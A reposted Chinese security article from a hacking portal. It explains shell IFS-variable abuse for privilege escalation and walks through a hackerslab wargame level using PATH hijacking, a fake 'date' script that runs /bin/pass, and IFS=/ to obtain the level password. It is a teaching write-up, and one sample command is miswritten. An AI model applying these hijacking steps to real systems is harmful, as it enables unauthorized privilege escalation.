|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
||||||||||||||||||||||||
| [转载]战术攻防思维撷粹 | ||||||||||||||||||||||||
作者:未知 文章来源:邪恶八进制 点击数: 更新时间:2006-1-20 ![]() |
||||||||||||||||||||||||
|
【输入域分隔符IFS】 “记起以前在Log指点我在hackerslab攻关日子真的很辛苦。其中有一道关就是理解IFS,从而得到通关密码。” IFS变量用于在shell环境中分隔所输入的执行。通常设置为空白符。一种攻击的方法是通过输入域分隔符(IFS)Shell变量得逞的。例如一个程序调用函数system()执行命令,那么该命令首先由Shell来分析。程序执行代码system("/bin/ls-l"),同时IFS变量被设置为包含“/”的字符,而一个恶意的程序被命名为bin并放在用户的PATH内,则该命令会被解释成bin ls-l,它执行程序bin并带有两个参数ls和-l,这就实现权限提升 下面是设置IFS的命令的例子: $IFS=/ $export $IFS 有了以上理论基础,我们将对hackerslab的第四关进行讲解。 題目: Steven 的慢动作是出了名的,他从來不会准时!他也察觉到這个问题,并且知道他必須做一点改变,他配合 `date` 這个指令,用 C 语言写了一个简单的工具,可以在他每次登录电脑用 YYYY-MM-DD 的格式显示目前的时间。他把它放在一个秘密的目录之中,因为他担心其他人会看见这个工具。把它找出來,并且获得进入下一关的密碼。 攻关步骤: Steven程序date指令显示日期,因此在环境变量中设置命令执行路径先于原路径,并制造一个date脚本,就可以执行自己定义的date指令,从而获得执行执行/bin/pass的权利,获得密码: 1、设置PATH变量 PATH=~/tmp:$PATH 2、制作date [level3]#vi date #!/bin/sh /bin/pass [level3]chmod +x date 3、由于程序使用date绝对路径,设置IFS为/ [level3]IFS=/ [levle3]export IFS 4、得到过关密码 [level3]./today 通过此题,对于IFS有了深入的理解。新版本的Unix系统已经能够忽略IFS的设置,所以对于现代主流的系统危害不算很大,不过由于入侵手法很精巧,因此加入文中。 *我们一直在尽力 耗费了几个通宵,总算完成了这片面向初级学者的入侵防御的文章。但是关于系统安全方面的很多领域我们仍然没有涉及,而且很多地方也是带领读者走马观花般的领略在入侵方面许多精致的思维和独特的创意,并没有做深入的分析和讲解,因为时间和工作关系,希望读者谅解。 然而,我希望这篇文章能起到一个抛砖引玉的作用,通过本文能激发各位的创造欲和对新事物探索的强烈渴望。使用自己无穷的动力和潜在思维在这里虚拟世界中创造更加美好的事物。 【参考资料】 1、《Maximum Security》Anonymous,Published by Sams.net Publishing. 2、《Hacking Exposed:Network Security Security Secrets & Solutions》Joel Scambray,Stuart McClure,Published by McGraw-Hill Education. 3、《Maximum Linux Security》Anonymous,Published by Sams Publishing. 4、《Windows NT 4 Security Mannual》Anonymous,Published by Sams Publishing
| ||||||||||||||||||||||||